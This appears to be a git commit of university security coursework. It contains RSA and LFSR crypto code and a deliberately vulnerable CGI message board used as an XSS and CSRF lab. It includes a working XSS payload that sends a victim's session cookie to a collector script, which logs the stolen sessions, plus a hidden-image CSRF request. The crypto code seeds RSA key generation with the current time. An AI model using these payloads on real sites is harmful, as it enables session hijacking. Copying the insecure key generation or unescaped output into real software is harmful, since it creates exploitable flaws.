summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--hw3/.gitignore2
-rwxr-xr-xhw3/carpenter_adam_hw3.py171
-rwxr-xr-xhw3/mr.py78
-rw-r--r--hw4/.gitignore3
-rw-r--r--hw4/cat.jpgbin0 -> 50325 bytes
-rwxr-xr-xhw4/cgi-bin/._board.pybin0 -> 355 bytes
-rwxr-xr-xhw4/cgi-bin/._login.pybin0 -> 299 bytes
-rwxr-xr-xhw4/cgi-bin/._logout.pybin0 -> 299 bytes
-rwxr-xr-xhw4/cgi-bin/._output.pybin0 -> 299 bytes
-rwxr-xr-xhw4/cgi-bin/._post.pybin0 -> 299 bytes
-rwxr-xr-xhw4/cgi-bin/._steal_session.pybin0 -> 299 bytes
-rwxr-xr-xhw4/cgi-bin/board.py21
-rwxr-xr-xhw4/cgi-bin/login.py39
-rwxr-xr-xhw4/cgi-bin/logout.py23
-rwxr-xr-xhw4/cgi-bin/output.py97
-rwxr-xr-xhw4/cgi-bin/post.py39
-rwxr-xr-xhw4/cgi-bin/steal_session.py24
-rw-r--r--hw4/csrf.html14
-rw-r--r--hw4/index.html1
-rw-r--r--hw4/messages4
-rw-r--r--hw4/sessions0
-rw-r--r--hw4/simple-xss.txt1
-rw-r--r--hw4/stolen_sessions0
-rw-r--r--hw4/users2
24 files changed, 519 insertions, 0 deletions
diff --git a/hw3/.gitignore b/hw3/.gitignore
new file mode 100644
index 0000000..dbfb78d
--- /dev/null
+++ b/hw3/.gitignore
@@ -0,0 +1,2 @@
+*.log
+*.pyc
diff --git a/hw3/carpenter_adam_hw3.py b/hw3/carpenter_adam_hw3.py
new file mode 100755
index 0000000..050afc5
--- /dev/null
+++ b/hw3/carpenter_adam_hw3.py
@@ -0,0 +1,171 @@
+#!/usr/bin/python2.7
+# Authored by Adam Carpenter
+# Initial code base authored by Prof. Dmitry Evtyushkin
+
+import random
+import time
+from mr import is_probable_prime as is_prime
+
+def int_to_bin(i):
+ o = '{0:08b}'.format(i)
+ o = (8 - (len(o) % 8)) * '0' + o
+ return o
+
+# def int_to_bin(i):
+# # deprecated; incorrect output
+# return "{0:08b}".format(i)
+
+def bin_to_int(b):
+ return int(b,2)
+
+def str_to_bin(s):
+ o = ''
+ for i in s:
+ o += '{0:08b}'.format(ord(i))
+ return o
+
+def bin_to_str(b):
+ l = [b[i:i+8] for i in xrange(0,len(b),8)]
+ o = ''
+ for i in l:
+ o+=chr(int(i,2))
+ return o
+
+def egcd(a, b): # can be used to test if numbers are co-primes
+ if a == 0:
+ return (b, 0, 1)
+ else:
+ g, y, x = egcd(b % a, a)
+ return (g, x - (b // a) * y, y)
+ #if g==1, the numbers are co-prime
+
+def modinv(a, m):
+ #returns multiplicative modular inverse of a in mod m
+ g, x, y = egcd(a, m)
+ if g != 1:
+ raise Exception('modular inverse does not exist')
+ else:
+ return x % m
+
+def sxor(a, b):
+ # returns the exclusive-or result of two strings/characters
+ if a == b:
+ return "0"
+ else:
+ return "1"
+
+def srshift(a, b = "0"):
+ # performs right-shift-like operation on a string;
+ # b serves as the replacement most-significant bit
+ return b + a[:-1]
+
+class lfsr:
+ # Class implementing linear feedback shift register. Please note that it operates
+ # with binary strings, strings of '0's and '1's.
+ taps = []
+
+ def __init__ (self, taps):
+ # Receives a list of taps. Taps are the bit positions that are XOR-ed
+ # together and provided to the input of lfsr
+
+ globals()['taps'] = taps
+ self.register = '1111111111111111'
+ # initial state of lfsr
+
+ def clock(self, i='0'):
+ # Receives input bit and simulates one cycle
+ # This include xoring, shifting, updating input bit and returning output
+ # input bit must be XOR-ed with the taps!!
+
+ # grab output bit
+ outputBit = self.register[-1]
+
+ # xor all tap values together
+ tapXor = "0"
+
+ for tap in taps:
+ tapXor = sxor(tapXor, self.register[tap])
+
+ # xor input bit with resulting tap
+ inputBit = sxor(i, tapXor)
+
+ # shift register bits and prepend input bit to stream
+ self.register = srshift(self.register, inputBit)
+
+ # return output bit
+ return outputBit
+
+ def seed(self, s):
+ # This function seeds the lfsr by feeding all bits from s into input of
+ # lfsr, output is ignored
+ for i in s:
+ o = self.clock(i)
+
+ def gen(self,n,skip=0):
+ # This function clocks lfsr 'skip' number of cycles ignoring output,
+ # then clocks 'n' cycles more and records the output. Then returns
+ # the recorded output. This is used as hash or pad
+ for x in xrange(skip):
+ self.clock()
+ out = ''
+ for x in xrange(n):
+ out += self.clock()
+ return out
+
+def H(inp):
+ # Hash function, it must initialize a new lfsr, seed it with the inp binary string
+ # skip and read the required number of lfsr output bits, returns binary string
+
+ l = lfsr([2,4,5,7,11,14])
+ l.seed(inp)
+ return l.gen(56, 1000)
+
+def enc_pad(m,p):
+ # encrypt message m with pad p, return binary string
+ # note: function assumes pad p is the same length
+ # as message m, per the definition of OTP
+ o = ''
+
+ for i in range(0, len(m)):
+ o += sxor(m[i], p[i])
+
+ return o
+
+def GenRSA():
+ # Function to generate RSA keys. Use the Euler's totient function (phi)
+ # As we discussed in lectures. Function must: 1) seed python's random number
+ # generator with time.time() 2) Generate RSA primes by keeping generating
+ # random integers of size 512 bit using the random.getrandbits(512) and testing
+ # whether they are prime or not using the is_prime function until both primes found.
+ # 3) compute phi 4) find e that is coprime to phi. Start from e=3 and keep
+ # incrementing until you find a suitable one. 4) derive d 5) return tuple (n,e,d)
+ # n - public modulo, e - public exponent, d - private exponent
+
+ # seed random number generator
+ random.seed(time.time())
+
+ # generate rsa primes
+ p = random.getrandbits(512)
+ q = random.getrandbits(512)
+
+ while not is_prime(p):
+ p = random.getrandbits(512)
+
+ while not is_prime(q):
+ q = random.getrandbits(512)
+
+ # compute n and phi
+ n = p * q
+ phi = (p - 1) * (q - 1)
+
+ # find an e coprime to phi
+ e = 3
+
+ while egcd(e, phi)[0] != 1:
+ e += 1
+
+ # derive d
+ d = modinv(e, phi)
+
+ # return the tuple
+ return (n,e,d)
diff --git a/hw3/mr.py b/hw3/mr.py
new file mode 100755
index 0000000..092d294
--- /dev/null
+++ b/hw3/mr.py
@@ -0,0 +1,78 @@
+import random
+
+_mrpt_num_trials = 5 # number of bases to test
+
+def is_probable_prime(n):
+ """
+ Miller-Rabin primality test.
+
+ A return value of False means n is certainly not prime. A return value of
+ True means n is very likely a prime.
+
+ >>> is_probable_prime(1)
+ Traceback (most recent call last):
+ ...
+ AssertionError
+ >>> is_probable_prime(2)
+ True
+ >>> is_probable_prime(3)
+ True
+ >>> is_probable_prime(4)
+ False
+ >>> is_probable_prime(5)
+ True
+ >>> is_probable_prime(123456789)
+ False
+
+ >>> primes_under_1000 = [i for i in range(2, 1000) if is_probable_prime(i)]
+ >>> len(primes_under_1000)
+ 168
+ >>> primes_under_1000[-10:]
+ [937, 941, 947, 953, 967, 971, 977, 983, 991, 997]
+
+ >>> is_probable_prime(6438080068035544392301298549614926991513861075340134\
+3291807343952413826484237063006136971539473913409092293733259038472039\
+7133335969549256322620979036686633213903952966175107096769180017646161\
+851573147596390153)
+ True
+
+ >>> is_probable_prime(7438080068035544392301298549614926991513861075340134\
+3291807343952413826484237063006136971539473913409092293733259038472039\
+7133335969549256322620979036686633213903952966175107096769180017646161\
+851573147596390153)
+ False
+ """
+ assert n >= 2
+ # special case 2
+ if n == 2:
+ return True
+ # ensure n is odd
+ if n % 2 == 0:
+ return False
+ # write n-1 as 2**s * d
+ # repeatedly try to divide n-1 by 2
+ s = 0
+ d = n-1
+ while True:
+ quotient, remainder = divmod(d, 2)
+ if remainder == 1:
+ break
+ s += 1
+ d = quotient
+ assert(2**s * d == n-1)
+
+ # test the base a to see whether it is a witness for the compositeness of n
+ def try_composite(a):
+ if pow(a, d, n) == 1:
+ return False
+ for i in range(s):
+ if pow(a, 2**i * d, n) == n-1:
+ return False
+ return True # n is definitely composite
+
+ for i in range(_mrpt_num_trials):
+ a = random.randrange(2, n)
+ if try_composite(a):
+ return False
+
+ return True # no base tested showed n as composite
diff --git a/hw4/.gitignore b/hw4/.gitignore
new file mode 100644
index 0000000..8a80dbd
--- /dev/null
+++ b/hw4/.gitignore
@@ -0,0 +1,3 @@
+*.pyc
+*.log
+
diff --git a/hw4/cat.jpg b/hw4/cat.jpg
new file mode 100644
index 0000000..1890aa8
--- /dev/null
+++ b/hw4/cat.jpg
Binary files differ
diff --git a/hw4/cgi-bin/._board.py b/hw4/cgi-bin/._board.py
new file mode 100755
index 0000000..ef20daa
--- /dev/null
+++ b/hw4/cgi-bin/._board.py
Binary files differ
diff --git a/hw4/cgi-bin/._login.py b/hw4/cgi-bin/._login.py
new file mode 100755
index 0000000..26100f6
--- /dev/null
+++ b/hw4/cgi-bin/._login.py
Binary files differ
diff --git a/hw4/cgi-bin/._logout.py b/hw4/cgi-bin/._logout.py
new file mode 100755
index 0000000..9d1f260
--- /dev/null
+++ b/hw4/cgi-bin/._logout.py
Binary files differ
diff --git a/hw4/cgi-bin/._output.py b/hw4/cgi-bin/._output.py
new file mode 100755
index 0000000..25267ab
--- /dev/null
+++ b/hw4/cgi-bin/._output.py
Binary files differ
diff --git a/hw4/cgi-bin/._post.py b/hw4/cgi-bin/._post.py
new file mode 100755
index 0000000..fc9cd5d
--- /dev/null
+++ b/hw4/cgi-bin/._post.py
Binary files differ
diff --git a/hw4/cgi-bin/._steal_session.py b/hw4/cgi-bin/._steal_session.py
new file mode 100755
index 0000000..69e619e
--- /dev/null
+++ b/hw4/cgi-bin/._steal_session.py
Binary files differ
diff --git a/hw4/cgi-bin/board.py b/hw4/cgi-bin/board.py
new file mode 100755
index 0000000..5ca8afc
--- /dev/null
+++ b/hw4/cgi-bin/board.py
@@ -0,0 +1,21 @@
+#!/usr/bin/env python2.7
+import Cookie, os, time
+import re
+import uuid
+import cgi
+import cgitb
+
+cgitb.enable() ## allows for debugging errors from the cgi scripts in the browser
+
+from output import *
+
+cookie = Cookie.SimpleCookie() # for writing cookies
+form = cgi.FieldStorage() # for reading GET datas
+
+if not Login():
+ DisplayLogin()
+
+# if we get here, this is an authorized user, let's print the messages
+PrintMessages()
+
+exit(0)
diff --git a/hw4/cgi-bin/login.py b/hw4/cgi-bin/login.py
new file mode 100755
index 0000000..a308dde
--- /dev/null
+++ b/hw4/cgi-bin/login.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python2.7
+import Cookie, os, time
+import re
+import uuid
+import cgi
+import cgitb
+import random
+
+from output import *
+
+cgitb.enable() ## allows for debugging errors from the cgi scripts in the browser
+
+cookie = Cookie.SimpleCookie() # for writing cookies
+cookie_string = os.environ.get('HTTP_COOKIE') # for reading cookies
+form = cgi.FieldStorage() # for reading GET data
+
+login = form.getvalue('username')
+password = form.getvalue('password')
+with open('users', 'r') as users:
+ s = users.read()
+ if s.find(login + ' ' + password) == -1:
+ ShowError()
+
+ # else set session id cookie and store it in the file!
+ s_id = uuid.uuid4().hex
+ cookie['session_id'] = s_id # login
+
+ # xss protection -- set session_id cookie to httpOnly
+ cookie['session_id']['httponly'] = '1'
+
+ with open("sessions", "a") as myfile:
+ # csrf protection -- session token construction
+ random.seed()
+ csrfToken = str(random.random())
+ myfile.write(s_id + ' ' + login + ' ' + csrfToken + '\n')
+
+ print cookie
+
+RedirectToBoard()
diff --git a/hw4/cgi-bin/logout.py b/hw4/cgi-bin/logout.py
new file mode 100755
index 0000000..9d64800
--- /dev/null
+++ b/hw4/cgi-bin/logout.py
@@ -0,0 +1,23 @@
+#!/usr/bin/env python2.7
+import Cookie, os, time
+import re
+import uuid
+import cgi
+import cgitb
+
+from output import *
+
+cgitb.enable() ## allows for debugging errors from the cgi scripts in the browser
+
+cookie = Cookie.SimpleCookie() # for writing cookies
+form = cgi.FieldStorage() # for reading GET data
+
+message = form.getvalue('message')
+
+user = Login()
+if not user:
+ ShowError()
+ exit(0)
+
+RemoveAllUserSessions(user)
+RedirectToBoard()
diff --git a/hw4/cgi-bin/output.py b/hw4/cgi-bin/output.py
new file mode 100755
index 0000000..544ac60
--- /dev/null
+++ b/hw4/cgi-bin/output.py
@@ -0,0 +1,97 @@
+import os
+import re
+
+def DisplayLogin():
+ print 'Content-Type: text/html\n'
+ print '<html><body>'
+ print """
+ <div id="container">
+ <form action="login.py" method="get">
+ <label for="username">Username:</label>
+ <input type="text" id="username" name="username">
+ <label for="password">Password:</label>
+ <input type="password" id="password" name="password">
+ <div id="lower">
+ <input type="submit" value="Login">
+ </div><!--/ lower-->
+ </form>
+ </div>
+ """
+ print '</body></html>'
+ exit(0)
+
+def PrintMessages():
+ print 'Content-Type: text/html\n'
+ print '<html><body>'
+
+ with open("messages", "r") as m_file:
+ s = m_file.read()
+ l = s.split('\n')
+ for i in l:
+ if len(i) == 0:
+ continue
+ i.replace('\\n','\n')
+ print i
+ print '<br><br>'
+ print """
+ <br><br>
+ <form action="post.py" method="post" style="display:inline">
+ <input type="hidden" name="csrfToken" value="""
+
+ # csrf protection -- session token sendoff
+ s_id = os.environ.get('HTTP_COOKIE').split('=')[1] # for reading cookies
+
+ with open('sessions', 'r') as s_file:
+ for line in s_file:
+ if s_id in line:
+ print line.split()[2]
+
+ print """
+ <label for="message">Message:</label><br>
+ <textarea rows="4" cols="50" name="message"></textarea>
+ <br>
+ <input type="submit" value="Post"></form>
+ """
+ print """
+ <form action="logout.py" style="display:inline">
+ <input type="submit" value="Logout" />
+ </form>
+ """
+
+ print '</body></html>'
+
+def ShowError():
+ print 'Content-Type: text/html\n'
+ print '<html><body>'
+ print '<h2> Error ocured :P </h2>'
+ print '</body></html>'
+ exit(0)
+
+def Login():
+ cookie_string = os.environ.get('HTTP_COOKIE') # for reading cookies
+ g = re.search('session_id=(\w+)', cookie_string) # if g==None -- no cookie
+ if not g:
+ return False
+ with open('sessions', 'r') as s_file:
+ s = s_file.read()
+ sid = g.group(1)
+ g = re.search(sid + ' ' + '(\w+)', s)
+ if not g:
+ return False
+ return g.group(1)
+
+def RedirectToBoard():
+ #go back to board.py
+ print 'Content-Type: text/html\n'
+ print '<meta http-equiv="refresh" content="0; url=board.py" />'
+ exit(0)
+
+def RemoveAllUserSessions(user):
+ tmp = ''
+ f = open('sessions', 'r')
+ for line in f:
+ if user not in line:
+ tmp += line
+ f.close()
+ with open('sessions','w') as f:
+ f.write(tmp)
diff --git a/hw4/cgi-bin/post.py b/hw4/cgi-bin/post.py
new file mode 100755
index 0000000..2a0bf8c
--- /dev/null
+++ b/hw4/cgi-bin/post.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python2.7
+import Cookie, os, time
+import re
+import uuid
+import cgi
+import cgitb
+
+from output import *
+
+cgitb.enable() # allows for debugging errors from the cgi scripts in the browser
+
+cookie = Cookie.SimpleCookie() # for writing cookies
+form = cgi.FieldStorage() # for reading POST data
+
+message = form.getvalue('message')
+
+user = Login()
+if not user:
+ ShowError()
+
+if message == None: # to prevent posting empty messages
+ RedirectToBoard()
+
+# csrf protection -- check for csrfToken
+csrfToken = form.getvalue('csrfToken')
+
+if csrfToken is None:
+ ShowError()
+
+with open('sessions', 'r') as s_file:
+ for line in s_file:
+ if user in line and not csrfToken in line:
+ ShowError()
+
+message = message.replace('\n','\n')
+with open('messages','a') as m:
+ m.write(user + ': ' + message + '\n')
+
+RedirectToBoard()
diff --git a/hw4/cgi-bin/steal_session.py b/hw4/cgi-bin/steal_session.py
new file mode 100755
index 0000000..df84de6
--- /dev/null
+++ b/hw4/cgi-bin/steal_session.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python2.7
+import Cookie, os, time
+import re
+import uuid
+import cgi
+import cgitb
+
+from output import *
+
+cgitb.enable() ## allows for debugging errors from the cgi scripts in the browser
+
+cookie = Cookie.SimpleCookie() # for writing cookies
+form = cgi.FieldStorage() # for reading GET data
+
+session = form.getvalue('session')
+
+if session:
+ with open('stolen_sessions','a') as m:
+ m.write(session + '\n')
+
+#Send victim to homepage so they don't notice anything!
+print 'Content-Type: text/html\n'
+print '<html><body><p style="font-size:25px"><img src="http://icons.iconarchive.com/icons/iconsmind/outline/512/Evil-icon.png" height=50 width=50 align="middle"></img> &nbsp; We got your session key &nbsp; <img src="http://icons.iconarchive.com/icons/iconsmind/outline/512/Evil-icon.png" height=50 width=50 align="middle"></img></p></body></html>'
+exit(0)
diff --git a/hw4/csrf.html b/hw4/csrf.html
new file mode 100644
index 0000000..3e8cdae
--- /dev/null
+++ b/hw4/csrf.html
@@ -0,0 +1,14 @@
+<html>
+<title> Innocent page </title>
+<body>
+<h2>This is innocent page, here is a picture of a cute cat: </h2> <br>
+
+<img src="cat.jpg">
+
+<!-- Insert your CSRF attack here. For example you can use another hidden <img> to
+generate an HTTP request to post.py to write something from victim -->
+
+<img src="http://127.0.0.1:8000/cgi-bin/post.py?message=i%20am%20not%20l33t" width="0" height="0" border="0">
+
+</body>
+</html>
diff --git a/hw4/index.html b/hw4/index.html
new file mode 100644
index 0000000..74c862d
--- /dev/null
+++ b/hw4/index.html
@@ -0,0 +1 @@
+<meta http-equiv="refresh" content="0; url=cgi-bin/board.py" />
diff --git a/hw4/messages b/hw4/messages
new file mode 100644
index 0000000..5a94cc2
--- /dev/null
+++ b/hw4/messages
@@ -0,0 +1,4 @@
+user: The weather is nice today
+user: This site seems secure
+hacker: I wouldn't be so sure about that...
+user: Lol
diff --git a/hw4/sessions b/hw4/sessions
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/hw4/sessions
diff --git a/hw4/simple-xss.txt b/hw4/simple-xss.txt
new file mode 100644
index 0000000..1862081
--- /dev/null
+++ b/hw4/simple-xss.txt
@@ -0,0 +1 @@
+<script> var tmp = '<iframe src="http://127.0.0.1:8000/cgi-bin/steal_session.py?session=' + document.cookie.split('=')[1] + '" frameBorder="0" width="1000" height="90"></iframe>'; document.write(tmp)</script>
diff --git a/hw4/stolen_sessions b/hw4/stolen_sessions
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/hw4/stolen_sessions
diff --git a/hw4/users b/hw4/users
new file mode 100644
index 0000000..7059371
--- /dev/null
+++ b/hw4/users
@@ -0,0 +1,2 @@
+user 1234
+hacker 4321